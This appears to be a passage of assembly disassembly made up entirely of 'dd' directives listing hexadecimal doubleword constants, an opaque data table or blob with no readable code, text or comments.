		dd 0E8C2690h, 1A6DD601h, 80AD8891h, 50D6F943h, 90E81C66h
		dd 21D0C002h, 0C00CFA4Bh, 0E83268CEh, 0A6B93FD9h, 9F517880h
		dd 0ACF43BEDh, 80BB953Bh, 80B1912Ah, 74FCE9AAh,	0B6E733D8h
		dd 53A00910h, 21C09792h, 1C46D73h, 0A55206E8h, 87A10AEh
		dd 56317E60h, 0EC4BC465h, 629605C0h, 0B7B155h, 3E1AE6C8h
		dd 8300902Ch, 36233BACh, 4B86A98h, 0FBE4B386h, 1C6B0785h
		dd 0AD04D3h, 1E69228h, 1FA12786h, 80F0AF60h, 624FDC33h
		dd 62230BEh, 88FA2481h,	938880A3h, 1D05F1B3h, 0ABC00001h
		dd 0EB8F6D92h, 6B014A40h, 86BA1B29h, 0FB14B5h, 0ECB5B31h
		dd 2C06F913h, 38AA51DFh, 0CCD8744h, 0BDE86604h,	0A01893A0h
		dd 6329FD05h, 425C3C9Ah, 18F3160Ah, 6862BEB0h, 34018178h
		dd 42557CEh, 543A62E0h,	1B19E44Ah, 58AF7C5Eh, 0AE1A3BE8h
		dd 0A1C45890h, 548B7AB1h, 50C0ABC8h, 765933CEh,	0E4271ECDh
		dd 70F3003Dh, 0EF0C86B5h, 3E1CED0Ah, 858EB868h,	178C5FF5h
		dd 0A93A0FCh, 0A330F706h, 7C320D8Ch, 8C98F238h,	31809B47h
		dd 0B0876CCEh, 13E73BD9h, 0F31D6F8h, 0F42BDB70h, 2AD1B643h
		dd 79A319E0h, 44E98E00h, 0E0EEB866h, 0D06C496Ah, 15128D80h
		dd 8906E56Dh, 0B21A2BE9h, 5F8F0C68h, 33B8B4B0h,	0EE363D0Ch
		dd 92AA07Bh, 9E619182h,	0E2E17403h, 0B9F93018h,	3A42F689h
		dd 152C87A2h, 0A9BA3F8Ah, 0CD248D80h, 0A67C3CC3h, 7A80E002h
		dd 4C52B60Eh, 0C46C3880h, 886AE811h, 64518079h,	0CB9BE3C4h
		dd 0B416D901h, 668D6150h, 0D73D2180h, 0E9E768A8h, 4B57F600h
		dd 906CF588h, 0F1CD38B1h, 373063BBh, 0A139AAA9h, 11A51E31h
		dd 70228B0Bh, 8828C600h, 7554456Fh, 0D9BB6200h,	198914F0h
		dd 0BFEC2846h, 5E39128Ch, 0F8644685h, 0D11C49B7h, 63805101h
		dd 75CC6D09h, 7B2F016Ah, 0A2BEEDDh, 6F9840D7h, 0C775FC36h
		dd 2D86C4A0h, 0B0738A28h, 230CF94Ch, 0C4500156h, 184AE804h
		dd 6855887Ch, 0A38FC407h, 0BED37FB7h, 1861F860h, 9A1E1B3Fh
		dd 6ED15842h, 211FEDEDh, 0CBD80CFCh, 99145F00h,	40A49443h
		dd 983302ADh, 0DC20B984h, 0FFE82C40h, 0B8301C98h, 623F996h
		dd 584E6E9Ah, 9389E94Ch, 0B41A6124h, 0EC04A010h, 80AB103Bh
		dd 0E2B58CD4h, 349014A8h, 33116C61h, 0C44806A1h, 0A64D4C65h
		dd 6830AE18h, 7C90980Bh, 0FCEE0C09h, 2BE48151h,	0A444CFE2h
		dd 31258509h, 0CC2004DCh, 0DC19491Ah, 46809588h, 0E0A5D6FCh
		dd 0BDE0060h, 0FA16C263h, 9318109Dh, 7A890159h,	32C4A3A8h
		dd 13A90B60h, 92FA4890h, 0A81E2B18h, 4C2E1988h,	0AC033C01h
		dd 0C0223BD5h, 12471800h, 6C3250EAh, 0E20B3092h, 0B32E1D31h
		dd 93C48E4Ch, 73204C19h, 7A8F9850h, 0BE231847h,	319F30D4h
		dd 0EE0124B1h, 5B7A4ECFh, 6416B500h, 0B00A809Ah, 98911B36h
		dd 0B8DF1083h, 16A81A33h, 744748B1h, 80609744h,	0A01A85Fh
		dd 410CCB58h, 218090DFh, 1017E3ACh, 0DE71CC92h,	19F4FF00h
		dd 0F52F5467h, 298F63DFh, 61E921CFh, 44DC60B9h,	6495F8C2h
		dd 0EE6064F9h, 523F00F6h, 3E74DF2Ah, 9800B0E4h,	0FA6AFE9Bh
		dd 14EE2D08h, 680460E6h, 0D20C5080h, 3512A88h, 6137EDD8h
		dd 1060B04Ah, 0EF203E19h, 62146608h, 584AD33h, 0AF3223E8h
		dd 6D098C22h, 8C00CE48h, 9CE324D1h, 30675800h, 8A05BFA9h
		dd 0A0909078h, 1A1A512Ch, 88A8CC66h, 451F6CA5h,	0C120A2D4h
		dd 827A5ED9h, 23E5A530h, 5F0C6084h, 8BFA3E81h, 91009C49h
		dd 3F3B6968h, 9733CE45h, 0AF0936h, 69517121h, 0EBB7E20Ch
		dd 0C416D800h, 0EDD4A92Bh, 67430412h, 90142E1Ah, 893539D0h
		dd 3B63A509h, 6064A346h, 0C8B4F12Ah, 90567FDCh,	1C9891D4h
		dd 5D69B08Bh, 0B69033A3h, 0F198A500h, 3F66CB4Ch, 0F4271EB5h
		dd 71023A14h, 0A626E70h, 64830460h, 0CABB9400h,	6B459007h
		dd 0B0D22CB5h, 2974F04h, 1363A116h, 0B701FCC0h,	12480A88h
		dd 4ACEEA23h, 3A483084h, 31815C81h, 48A9C7DCh, 1122B598h
		dd 7BCE2AB7h, 25746ECh,	0E805C451h, 107B3132h, 4C4692Ah
		dd 571108EDh, 150C104h,	953617B3h, 27BF0249h, 57741AE7h
		dd 7C11349Dh, 0BC39A480h, 8CE2F52Dh, 0E137E200h, 0B0E8990Ch
		dd 262C988Bh, 44A89B58h, 0B6314077h, 7A1E3D23h,	401C918Ah
		dd 111AE236h, 294C3900h, 2F90B19Bh, 6279C226h, 0CC48853Ch
		dd 7A026366h, 1D5E1E73h, 0EE6060B2h, 342EF0CDh,	8010193Bh
		dd 0E4661C50h, 92A4BD48h, 0AD23243Ah, 4D6ECC00h, 0CEEB23Bh
		dd 455B0C41h, 98404FB8h, 4084B0BEh, 144C334Ch, 0F8368014h
		dd 48766C31h, 2612F8A1h, 0A9141825h, 0E582B409h, 8B71EEA8h
		dd 909B833Eh, 50A7F12Ah, 2A61D820h, 0F8A9F9h, 69F53BCAh
		dd 849A5733h, 0C0092B66h, 23EA0F21h, 0C5A070F5h, 7450AD73h
		dd 0F2163D09h, 9700A176h, 84509ADEh, 699198h, 0E353F8B0h
		dd 1437BC8Ch, 80AD2F28h, 2998DE30h, 0E5D204h, 4BE08551h
		dd 283E1A66h, 0CC0BA52h, 0C965379Fh, 78BD498Bh,	0BACF8907h
		dd 2FA9F090h, 100B3D7h,	0DA37354Dh, 90512759h, 503DF054h
		dd 498FB0D0h, 821E9CBFh, 9EC30CD3h, 0ACA23E10h,	0D84C48E2h
		dd 36163C18h, 0DE6D93D9h, 4068081h, 0D284962Dh,	0E94A5813h
		dd 0B1E61E07h, 0B45084E9h, 0B06B84D2h, 11F53DACh, 8807326Fh
		dd 25EC80C1h, 0B5ED98F5h, 0B2125076h, 44166DD0h, 0FA88C021h
		dd 0FC50C828h, 949BFCh,	3F3D686Eh, 4486C975h, 57007BA9h
		dd 7E4C0169h, 5C9FF3B7h, 0D8629ECDh, 0AC40D331h, 2980427Ah
		dd 85DB20DCh, 0B275B101h, 0C94AF316h, 1E06202Ch, 38546678h
		dd 0AD6A0E72h, 0FC08DCC0h
		dd 0C01384ACh, 8F80C05Fh, 6E063F79h, 95586604h,	45930520h
		dd 3C26FAA8h, 5B463F20h, 616B0102h, 0DC5905A1h,	97EB88h
		dd 0DAB5C13Ch, 2F19D8FFh, 904893E8h, 408C25h, 17DB128Ch
		dd 574E5D9h, 0CEC42E3Ch, 3E184C4Ch, 0BC0F8h, 0D3AFECEAh
		dd 724636B1h, 0B861B54Eh, 2C20D1B0h, 429F4E0Bh,	0BB9AC020h
		dd 8F80300Bh, 80E8203Fh, 75F66E07h, 219EEB0h, 40B8AD3Ch
		dd 62B123E8h, 87E060D4h, 45B4040h, 4B68DD07h, 8DC96D9Bh
		dd 2C7468CDh, 0C6162AB0h, 92CF35DCh, 421E19h, 6F96919h
		dd 0B54E4A7Ah, 0EE654027h, 0E6312000h, 0F4F31356h, 46309CA8h
		dd 3C3921A6h, 0B8E9ACD2h, 1AB23381h, 0CC240C36h, 0CE350430h
		dd 0B4B57327h, 8E8AF6D4h, 48C095D8h, 903822E4h,	0A43A4D49h
		dd 0C2D60585h, 0A46C2118h, 47AC44h, 928BD6FDh, 11295B04h
		dd 2207A7F0h, 9FC4AB51h, 91E82838h, 18BDD164h, 2307CE2h
		dd 785FCF90h, 0B46262C7h, 0B76E0841h, 0CE8158D9h, 10347EDFh
		dd 0BAE70001h, 59B87133h, 74E4F52Eh, 0AF033278h, 91BD300Ch
		dd 0A96BA0A6h, 18A7FC2h, 8F842C04h, 987423ADh, 0E421B808h
		dd 412E0182h, 0BC545A37h, 3C1880A2h, 0E764D81h,	39E63CF5h
		dd 23645580h, 72FC8EF9h, 9A4C3501h, 0BD5FAD6Ah,	26A81E20h
		dd 77212Fh, 58327136h, 18C391D1h, 0E6F2F8BBh, 6338EEB0h
		dd 6B9A317Dh, 88E68B83h, 0CA50A200h, 0E7B9026Ch, 0B1A619CDh
		dd 804708AFh, 6CC27721h, 24AE84h, 54B10961h, 0F0BDFAF8h
		dd 35998B00h, 7D2FD471h, 60D29Ah, 88817269h, 0A10CB21Bh
		dd 0A0CBB8C5h, 0CC5E009Ch, 2BAF6E4Dh, 0C36190CDh, 0F2EF418h
		dd 0F9F0A571h, 72F818B9h, 0AE08B8BCh, 0EF58BD39h, 922E8228h
		dd 60610226h, 80BE8840h, 0A2182100h, 0A8A0D7E5h, 0A9630636h
		dd 9099B938h, 83EC9606h, 30684721h, 2D803ECCh, 0C740A0EDh
		dd 5D0F30C2h, 0B53003A6h, 7A49C861h, 0D850AB2Ah, 0E9F83FF4h
		dd 0F308D450h, 0A05FF828h, 30ED2B5Ch, 6A50ADBCh, 5E602C3Fh
		dd 0E6EA0868h, 0BDCC0A52h, 1178C6E0h, 378B1523h, 173200B4h
		dd 0DC680AF8h, 0A788C83Eh, 809B434Fh, 5436E774h, 78A15458h
		dd 0CC6618F6h, 0F4C51959h, 0D56881FBh, 6F18F9A9h, 88BB980h
		dd 25F48F66h, 0EC34C707h, 7F46C6EDh, 3B27021h, 46F4A866h
		dd 0C10052E0h, 96B52DB1h, 5021F0B9h, 0A492F89Ah, 2A65018Ch
		dd 0C5911A8Fh, 0B822F3B4h, 0F280C89Ah, 886601C0h, 4078D1F4h
		dd 0AB008422h, 155C65F9h, 9C167FFh, 0A241018h, 86FA1D80h
		dd 78303EF6h, 8F019846h, 240F05BBh, 64C3BAFFh, 8BC06188h
		dd 4DB05043h, 0C7002886h, 4CB8D999h, 3D8B266h, 10C4D5B3h
		dd 348850D0h, 0E761B52Ch, 0DD8AEB49h, 88F37420h, 0ED242C09h
		dd 0CC801C50h, 287A5BF9h, 0C4E6481Ch, 490162Ah,	5387A313h
		dd 0C91890ADh, 0CA01F301h, 6F541F32h, 898E72Ah,	0F9F021C6h
		dd 5364F300h, 9D0F1665h, 0E2D10ADCh, 69E8A288h,	3CD0141Bh
		dd 8300B2ABh, 46C961EEh, 34A42FFh, 0E61DD9E8h, 8E03F27h
		dd 0A490CBC7h, 0F9283209h, 0E488088Fh, 18D0160Ch, 3E2EF836h
		dd 3104AF62h, 9AB9720h,	0BC6884F9h, 32E8960h, 117C2C23h
		dd 81E300BEh, 663DA32Eh, 94550062h, 0A64031A0h,	0C849F8EDh
		dd 6498538Ch, 8E60C160h, 2C23082Eh, 0B911A4h, 0C02E86E8h
		dd 948F009h, 815957D3h,	330180A1h, 68B880D1h, 0E4DE6423h
		dd 0C4BD12ADh, 13B822C9h, 94B35720h, 0A4D44966h, 78B52F08h
		dd 0BD80B0A1h, 0C786A620h, 0EFA4A0CAh, 0D8410049h, 37598D5Ch
		dd 8048C5DCh, 0F72370h,	0F48D6606h, 8085C715h, 4965FEB0h
		dd 4A105803h, 11091A20h, 60B07AF6h, 27F13C21h, 1E8C76E4h
		dd 888A6603h, 8764C6FDh, 65FBAD42h, 0A8D847C0h,	0A066DD01h
		dd 0B353AB0Fh, 0FE05E180h, 7D410D95h, 8F24A6B8h, 1D120CFDh
		dd 0A7116042h, 5CBC8031h, 48242E83h, 0AD348412h, 0E134C121h
		dd 503A0780h, 3B83465Ch, 0E76F803Ch, 2497F5FAh,	55930909h
		dd 0F4826A0Bh, 0CE0E29ABh, 0BFDF05BBh, 0F302F001h, 0EF3F23Fh
		dd 0C08A2AC9h, 870B8024h, 0EC62404h, 6F65E6DAh,	2BB502A0h
		dd 6B3627B9h, 74F69000h, 0CD2A042Eh, 800D6029h,	7A30A804h
		dd 3892BCF6h, 71B6B11Ah, 0F88840B1h, 0BD2D803Fh, 0C892D87Ch
		dd 0A083B7FEh, 3628B39Ch, 4080C327h, 7A88B57Ah,	2084F560h
		dd 4436AA31h, 3A52C8B4h, 8423D4h, 0C94DE87Ah, 0E4909CC0h
		dd 0E053D144h, 92B2406Fh, 0D0444A35h, 0C0C0B808h, 2C072E8Dh
		dd 0E7859C43h, 3B78085h, 0A6150B21h, 0EA0428Ch,	731720B9h
		dd 2FBC2022h, 0D39B0882h, 3D8B23h, 5D55AD31h, 0E94EDB9Ch
		dd 0E0A72902h, 8EF13C25h, 2C28E8F4h, 0C9140808h, 79007826h
		dd 3C469480h, 0ED25804Dh, 6B21E860h, 0D6B426B8h, 0FC680461h
		dd 6CC6308Ah, 0C7B921FEh, 6CBE73C0h, 0C4E90A9Bh, 0BE908C2Ch
		dd 0E00B33Ch, 0ADC1F52Bh, 700D4E5h, 0CC8C9D1Ch,	12739C84h
		dd 4B089F6h, 429BD384h,	283DD60h, 4C44F93Fh, 493138F8h
		dd 0A719187Ah, 88CEF454h, 0C5C08688h, 728F84Dh,	36C1ECFCh
		dd 0D05304B9h, 353032E0h, 9868826Ch, 5FB488BCh,	0C6B8920h
		dd 9C34D180h, 1E90B20h,	4EB2EB8h, 0C12496F9h, 0F8E49278h
		dd 8660730h, 0C71DF48Eh, 0B1408064h, 481165FFh,	1958330Ch
		dd 0EFBB7092h, 91F1C071h, 7635B100h, 0DA682B00h, 0F640672Ch
		dd 305C5D36h, 1CF02D02h, 0ACC12656h, 1E6B00AEh,	109890ACh
		dd 633C5E3h, 0FCBB4916h, 7D231530h, 2808B4AAh, 0BD0385CDh
		dd 77586908h, 8B7607E0h, 0A6602CC3h, 3005208Eh,	83F2C0DFh
		dd 4658203Ch, 69206255h, 6361079Bh, 9002AEBBh, 216EB462h
		dd 119C08C4h, 660487F5h, 0E705F432h, 0FCAE02B4h, 0DCE3E765h
		dd 2384FC40h, 0F7ED2Ch,	81BDA80h, 242D7A91h, 44E0304Eh
		dd 2E8860BBh, 742C2302h, 0E200BA11h, 34732E80h,	4B056F19h
		dd 0CDE4C52Ch, 89BCB015h, 0EA0C02F2h, 81F9059Bh, 3A2CD88h
		dd 0E4339DBBh, 68B6F0B3h, 0C50C33B5h, 0F2F0AF48h, 40580E48h
		dd 0AC4C1460h, 68831930h, 0F7C0A1D8h, 2C305381h, 35787631h
		dd 456F0C9Ah, 0ADDC01A1h, 0CCB1088Bh, 56419520h, 7E10B064h
		dd 4482BB49h, 80006492h, 4D843F6Ah, 0F4001C55h,	9B742A7Bh
		dd 154CD4D2h, 0C3131254h, 9A4D8CD1h, 360CC104h,	7D1C2918h
		dd 34E85F89h, 805005Bh,	90918DB7h, 0B4A0A3A8h, 540A4C62h
		dd 0A825EAF9h, 5C19B81Dh, 0C9308739h, 0C5351F91h, 4C01D270h
		dd 0E9213190h, 2D659E0Ah, 63179834h, 30045053h,	0F744B3C8h
		dd 952A00A2h, 58CA0AC9h, 0B4A134ABh, 608C1597h,	0DE861FF5h
		dd 0ABA4E6h, 1C6EACFEh,	3054447h, 5B8C81A3h, 0A494C008h
		dd 82190C06h, 610A1C49h, 0E820E5CCh, 1FA17066h,	0E048C52Bh
		dd 2CA7F605h, 0DC526BB5h, 8523203Ah, 600BB1Fh, 0CCD32FA0h
		dd 0CF80A1A3h, 2066EE00h, 0A2C85050h, 0EDF03F18h, 4AA313E1h
		dd 0FDB03083h, 3223C6F3h, 9BD11FFh, 89F3F5ECh, 74C3050Eh
		dd 0C82CC413h, 327A888Bh, 0CBA424F3h, 0F1CED27h, 102C8960h
		dd 0CFA22C0h, 409A9286h, 0ED152B10h, 32DCB5FCh,	0E00F29E7h
		dd 0E869F734h, 0A0CC72BDh, 8B34886Ch, 546574CAh, 0F63DC210h
		dd 73045B0Bh, 46F0BC21h, 0EF4010BDh, 3F2F8020h,	98FB0526h
		dd 5A024751h, 0DE23209Ch, 0C17271Dh, 0C4804991h, 73086D47h
		dd 0B0A020F7h, 0F0724341h, 0E030BBF2h, 89B70B92h, 34829B25h
		dd 0F00D12Fh, 13322724h
		dd 4F02E12h, 13BBC9Ch, 0E8D4012Ch, 0B8001021h, 31831724h
		dd 0B8800D69h, 6FC7231h, 0BE22F839h, 20086B50h,	4A49EC0Eh
		dd 0B7949CC8h, 4882C181h, 0FD7BE21Ah, 33442052h, 0A822243Fh
		dd 0A0EF087Ch, 3020F831h, 3E7DF408h, 8A104C65h,	4330C8h
		dd 0DBD613ADh, 0BE793818h, 23773402h, 408C8308h, 12ADBAB1h
		dd 8928BB4Ch, 54A88978h, 0A7642EB1h, 9CC09D45h,	4BD620D5h
		dd 0D46EA9h, 207FFA16h,	22758D7h, 0E5CBCC97h, 1C7AB424h
		dd 74ED2D15h, 800C4D08h, 0F9922AD1h, 38340BF4h,	34A87B15h
		dd 310D01D8h, 0F6FC6674h, 940F88AFh, 0F5E5405h,	0A7CC7A08h
		dd 0E9000891h, 2F0B5DECh, 17A2B86Dh, 5302F861h,	0C7047470h
		dd 2B82C888h, 64B590BDh, 72844550h, 0EC77003Ch,	850F066Ah
		dd 9F302C9h, 6F303B11h,	92299466h, 4E0F9CA8h, 8CA6FCB2h
		dd 0A1846010h, 0E064F680h, 1348A66Ah, 0CFE66Bh,	0DABBFF04h
		dd 6E643127h, 348086D0h, 549195Dh, 212FFC04h, 383C022Eh
		dd 70728955h, 48191A6Dh, 1A69F1C4h, 709BB5B2h, 0D3E010B0h
		dd 0E35CC205h, 66C21669h, 469864A3h, 0F3FB0281h, 1CEF32C4h
		dd 0B5E2EA7Fh, 40752902h, 722B2EF4h, 6AC714A0h,	4050085Fh
		dd 8B048CBEh, 8C2C052Eh, 0E500F48Eh, 9B102E83h,	2B3E8048h
		dd 273CBED6h, 250A938h,	188AFE44h, 0B9E06CC8h, 0E82CD74Ah
		dd 6CC00275h, 86FDD5B3h, 0D44874E0h, 0D3459E81h, 0F0274441h
		dd 0F32E7Ah, 0D5F85389h, 0F22223B9h, 547AEFB8h,	0FC80B554h
		dd 0DC25B200h, 3BE1A43h, 0B03101B7h, 1BA068D1h,	0C84C22C5h
		dd 3F30BDCEh, 8D9DEF99h, 8159A703h, 0A81915B2h,	24D42656h
		dd 8A8BF47h, 0F605A14Ch, 74910C3Eh, 41803C8Bh, 1BDB5CB1h
		dd 70B8B521h, 3062E722h, 78A9B754h, 7700D7CDh, 0B35A18E8h
		dd 10D131h, 0BB0952C2h,	0B458A969h, 23AC39D0h, 6CC501FBh
		dd 18BFB9FDh, 0BD728844h, 98166C2Eh, 1461AB1Ch,	4CEC28ACh
		dd 0A78E008Ch, 975D9164h, 0BA2C9FDFh, 0CC243BBBh, 0F42684ACh
		dd 320CA911h, 0E171B828h, 0A3140104h, 688183E2h, 0E09064BBh
		dd 602ED3B8h, 8C004A23h, 78BBE870h, 9264702Ah, 0C4DA4020h
		dd 3530B814h, 18C287E8h, 3F6A3C90h, 60809217h, 28338808h
		dd 389E7921h, 2C4E3164h, 0CB983092h, 0D65E4CBDh, 546C1444h
		dd 0F8200416h, 80BB4AAEh, 7627DC80h, 0DACB4Dh, 12F82FF0h
		dd 1C15018Dh, 3D4C3209h, 306C2928h, 78AD57A8h, 5ECC9E0Ch
		dd 758646h, 120DAB1Eh, 310885C0h, 0F89CA7E4h, 6923110Ch
		dd 24ED16A3h, 0AC1047B0h, 98E419B1h, 4B043E10h,	687A8861h
		dd 62D0409Ch, 101BD09Eh, 0CC490ADCh, 0BB633081h, 78E75813h
		dd 3B30F03Ch, 0BD3819A7h, 30AC416Eh, 9B88A610h,	2E7B0A2Fh
		dd 4780353Fh, 0B5A25076h, 0B090ABD9h, 5C279472h, 74E0A259h
		dd 0C4050BB2h, 0A4E0F011h, 16EF3F15h, 60187AA4h, 0EA707639h
		dd 0E5D716D9h, 4234006Dh, 0CDA9C625h, 876CED2Dh, 7386676Ch
		dd 0AD7727B0h, 0C2228CA5h, 7069A3DEh, 0FF804273h, 0C904984Ch
		dd 0DFB9016Ch, 7600C08Eh, 0B91C6CC1h, 0AA407EF8h, 30634F34h
		dd 0D37B434h, 28B38CA8h, 0A9988F54h, 0E0391731h, 0F88053DCh
		dd 0F984A4A2h, 2B17BBF5h, 3CC77B62h, 0C408B561h, 0FA46A464h
		dd 88705CE5h, 1C70301h,	28A4ED26h, 1D6B01F8h, 61BE80BAh
		dd 5111204Eh, 18F982E2h, 0B70C487Ch, 6FC00B13h,	0F900B0FCh
		dd 6A9FCFE7h, 5C0C0200h, 0FD0963F3h, 14362FBAh,	0C011A017h
		dd 3CB02D80h, 693FF65Dh, 28B8FC0Bh, 4B44BC87h, 0F0CADA61h
		dd 4EF006D7h, 0C4525Ch,	0C9A2D025h, 7D4032ACh, 2458B1BDh
		dd 58801448h, 0C3F3FA80h, 0F8BCE732h, 0F2E958h,	0C125EFF3h
		dd 0D7EA85FBh, 0DC19ED01h, 0AE20CD2Bh, 0F4108504h, 0EA000858h
		dd 2247744h, 0F8B40184h, 596916F0h, 27D0089Bh, 62B1F880h
		dd 2EADEACAh, 0A1AC08BAh, 184AF184h, 368B00FDh,	550E69CBh
		dd 0CD5E2FABh, 44CABC12h, 0BD038722h, 148B620Fh, 748CBD09h
		dd 9C3458CBh, 91158020h, 988B854h, 6946C29h, 3BC95AB0h
		dd 0DC05B108h, 0C87A801Bh, 0A125A964h, 67BC0BE5h, 6085448Ch
		dd 13E70E3h, 119C5DE1h,	4C28BD2Ch, 81C11FB8h, 0CE58C52Dh
		dd 0CB8018ACh, 0B7E4A445h, 19811363h, 0E389807Bh, 2D3F18B3h
		dd 460C0006h, 0C09FFDB4h, 6905E199h, 0C2372839h, 0C270AC0Eh
		dd 52AC9789h, 3FA21354h, 340020FAh, 74420938h, 359A320Ah
		dd 0AB6342C8h, 722A7A02h, 40D8CE68h, 99C9352h, 0ED30F1F6h
		dd 32BB1944h, 844D2438h, 0A26C9270h, 33BFF268h,	96D3A098h
		dd 85149AFEh, 5050212Fh, 904AE504h, 842A7048h, 0A3F961B8h
		dd 0C5A10A30h, 94ACC434h, 123B2408h, 0B96C230Ah, 44484B82h
		dd 0C0B98C09h, 68BCDE00h, 0DBF716h, 22E01A05h, 0DD5D1C36h
		dd 1420AA4Bh, 7C72FE29h, 1A6F27Ch, 0D494B342h, 72CC650Fh
		dd 0A8FBC8F4h, 28C24604h, 2C24A78Fh, 0E97004ACh, 0EB2E1687h
		dd 4F140466h, 631121D1h, 0F9106072h, 6CC3C18Ah,	71FEB9FBh
		dd 0BB7060C0h, 0C600896Ch, 58420479h, 145B0FCBh, 840A9908h
		dd 5C59B0C2h, 1022C441h, 506866F6h, 0B0F2A447h,	57CA5AA8h
		dd 0B1182088h, 0CB172A3Ch, 0FC29748Ch, 47E22422h, 315E30h
		dd 0BB02DE0Eh, 81603541h, 93918C40h, 3E5B01B0h,	26A4A35Ch
		dd 0A2A50418h, 0FC95E3C5h, 85F2BCF2h, 460E830h,	0DE089832h
		dd 0F324C2C7h, 24909E2Ch, 0E9386E5Dh, 84E468E5h, 0AC929E60h
		dd 0B5AE220Eh, 40B291h,	4C2A13BEh, 12BA0225h, 0F13FD4D6h
		dd 6A406454h, 0C084F2Ch, 0BE538922h, 0F600C719h, 59EE54D8h
		dd 0A957A0h, 98C0A4FFh,	153621E8h, 1F506078h, 7640ADA8h
		dd 6D540189h, 0B96B2F99h, 96D44822h, 1A7CF63Ah,	85283CE5h
		dd 0AC06A104h, 3BF0C088h, 0BA7F3E6Eh, 0D8B51094h, 66960BB3h
		dd 8BA0A750h, 0A05070C6h, 81AB6F64h, 2503291h, 0D325B9DFh
		dd 104074DEh, 89083FCEh, 79A3F1E5h, 1881D90Ch, 839B02D6h
		dd 0AA1CBD2Eh, 0FB2E6064h, 2B1F38D7h, 1DCB015h,	0ED2C7A6Ah
		dd 0E449AD48h, 0B8BC542Ch, 53E0008Ch, 7334D1BCh, 7B502A3Fh
		dd 0B040E498h, 983E118Eh, 0A8233F3Bh, 0B13B3033h, 283784E7h
		dd 9C831288h, 547AE229h, 5C5140A4h, 28000A18h, 3B92E390h
		dd 0EB4C977h, 475E9BD8h, 0C6AA627h, 0E8385704h,	20026103h
		dd 89C9C35Fh, 0CC16FC6Bh, 3472116h, 43B4C357h, 0DFF86694h
		dd 0FF006A41h, 3077995h, 0CE05E906h, 2FAEAD2Dh,	0C08BA921h
		dd 83D7CC66h, 4E5BD1Bh,	975812Ah, 23391288h, 50197483h
		dd 0B8320C53h, 894A07D9h, 1A9D8519h, 0BFD48D24h, 0A0576B5h
		dd 585BD3FFh, 1017C422h, 0B2AEF120h, 51830219h,	0E4C35930h
		dd 224C4689h, 5141041Ah, 802CC4C3h, 0A8FB0F48h,	0F9CB8B1Bh
		dd 680C1B8h, 958D2BBDh,	0EC7A1305h, 507A68EDh, 8D33D806h
		dd 50182275h, 0CDAA552h, 535FB964h, 56B01A2h, 893B071Ch
		dd 5043875Eh, 208F065Dh, 0C0F0026Ah, 0FFBF0F5Bh, 27BA1466h
		dd 5288EEA9h, 94C35AC3h, 6B22E284h, 52422019h, 700DEC3h
		dd 7AF155FEh, 62DDBD8Bh, 8F0F8A2Ah, 8D316B80h, 0AA8325E5h
		dd 0E9478385h, 74230013h, 236FBA1Fh, 0F63FE414h, 5C358007h
		dd 8970DA4Ah, 523BE817h, 1DE25250h, 1CA72B30h, 52391B67h
		dd 0F3E101BFh, 4802830Fh, 6A3DCEBBh, 5A8E2860h,	143502A0h
		dd 0C99DB083h, 1260A20Dh, 0E1C400B7h, 6850BB59h, 18AB9CF9h
		dd 14E90AC8h, 7A2C4BC0h
		dd 0EEB467h, 8ED512A2h,	1676430Eh, 2F5C880Eh, 40E5D9Ch
		dd 32180C68h, 47C20481h, 84018AAAh, 26FE086Eh, 25209D28h
		dd 5566CA04h, 0C35DC386h, 236C8991h, 554580C6h,	0FBFC7CC3h
		dd 37015491h, 0C1456F5h, 118233Eh, 0BD687961h, 0EA8A41A3h
		dd 0B5FFC806h, 1F5D155h, 411FF5A7h, 5171D62h, 0AAFBF30Ah
		dd 49F22BC7h, 4067480Bh, 2BA0018h, 0C712E198h, 8392F185h
		dd 109923E1h, 0EC502531h, 0F20447Dh, 27918436h,	1C5346D6h
		dd 8989C35Bh, 11C1C5Ch,	4AC35343h, 0C457C467h, 0BB3EA910h
		dd 0F78A0015h, 54F30FBAh, 8C3D356Bh, 0A3280733h, 939D0901h
		dd 2C801B91h, 0DE782ED0h, 0C1E85405h, 0E0C7F281h, 9570141h
		dd 11B9B42h, 0C235E95Fh, 1C11369Dh, 112EDB80h, 173BD796h
		dd 3D169D68h, 3E4465EAh, 75951289h, 9F7D200Bh, 0BBA35AF5h
		dd 32315B9h, 849EE0B9h,	0D0FF0F4Ah, 67518A0Fh, 1F0A3126h
		dd 3EFF208h, 3953BF66h,	8833123h, 226260Dh, 51EF8182h
		dd 0E204C774h, 83F0BC6h, 0A05C0BC6h, 8029353Eh,	0C537B589h
		dd 11C2BD18h, 81648016h, 1BD19E2h, 0F8837ACFh, 48850FFFh
		dd 0CA0880E1h, 9E07E968h, 83600064h, 0C77FDD78h, 142A84C9h
		dd 8121717Ah, 2AA66031h, 8110C989h, 0DE1EE2E7h,	4CDB2130h
		dd 17C2017h, 0FC8C4348h, 0A0008C1Bh, 56E8D37Fh,	0FF74D61h
		dd 0D56EB966h, 70E62036h, 502CE2CFh, 51080A95h,	0E95A0424h
		dd 0CA8140ACh, 7B57F516h, 0BEB14A58h, 49BD62C1h, 789DDBA0h
		dd 0C1415533h, 0DDC4024Fh, 0DD107E07h, 0FC1CB907h, 0D530CAC0h
		dd 2EE98BFEh, 83F93224h, 0BF876E80h, 2BBD3187h,	66E22E13h
		dd 9A61936Ah, 10E91115h, 0F5450B80h, 0B97F8693h, 2E00B5E6h
		dd 73470ACBh, 3115826Fh, 0B62B56E9h, 76688D2Ah,	0A702A4FEh
		dd 4099A1D9h, 298012E9h, 95C45D7Eh, 1500A1A7h, 24BA5261h
		dd 4C0A2F7Ah, 0F829D313h, 74782C4Ch, 0E3001C46h, 0B3363EFCh
		dd 912CC685h, 703FA428h, 0C6346A80h, 102FB1ACh,	42185058h
		dd 2A144C39h, 5DA1ADA1h, 62E93007h, 4660140h, 0C3F6DB8Ch
		dd 0FC698204h, 0A164C627h, 685694D0h, 0A8B81852h, 2E15E9Ch
		dd 0E00B4699h, 0D0472238h, 2EBFCA6Ah, 8164EDB9h, 0D98384F6h
		dd 47802D50h, 18AC9B68h, 498EC47h, 1EA4F08Bh, 61684F07h
		dd 8B82F26h, 0C7731F9Dh, 0C7DD5D6h, 56286A53h, 0C0298518h
		dd 41807575h, 87649868h, 322AADDBh, 0E16F2D0h, 0E7A4684Ch
		dd 0D120804Ah, 17D9F58Bh, 50045BE2h, 54DE5540h,	0C715B0C2h
		dd 87DBAB03h, 0E50C4363h, 49850702h, 556F6C1Dh,	47A1026Ah
		dd 8BB5942Eh, 67421194h, 97684580h, 9240A5F7h, 99314321h
		dd 0CAB0267h, 32750A28h, 0A3B46D60h, 32524EA1h,	94B6CC0Ch
